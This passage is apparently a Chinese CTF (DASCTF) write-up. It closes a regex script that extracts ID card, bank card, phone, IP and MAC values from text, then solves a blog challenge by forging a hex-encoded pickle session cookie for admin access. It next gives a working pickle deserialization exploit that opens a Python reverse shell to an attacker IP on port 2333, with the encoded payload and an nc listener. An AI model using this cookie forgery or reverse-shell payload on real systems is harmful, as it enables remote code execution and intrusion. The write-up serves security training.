r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() 运行，得到export.csv，上传，正确率>=98%即可得到Flag：DASCTF{34164200333121342836358909307523} ez_blog 打开网页，发现要登录，根据提示，尝试使用用户名guest密码guest成功登录访客，发现Cookies记录了一个Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e。通过AI分析，可知这是pickle经过序列化然后转换成hex得到的，解码可发现：KappUser)}(idusernameguesis_admin logged_inub.，尝试通过修改里面的内容，将username改成admin，is_admin改成True，得到：8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e，通过BurpSuite修改请求时的Cookies，成功拿到admin用户的权限（可以创建文章）： 也就是说，服务端会将Token反序列化，可以以此利用反序列化漏洞。因为没有回显，只能反弹shell。编写Payload： import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) 运行得到Payload：80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e，服务器上运行nc -lvvp 2333，将Payload作为Token发送请求后成功拿到Shell。Flag存放在/thisisthefffflllaaaggg.txt中： 得到Flag：DASCTF{15485426979172729258466667411440}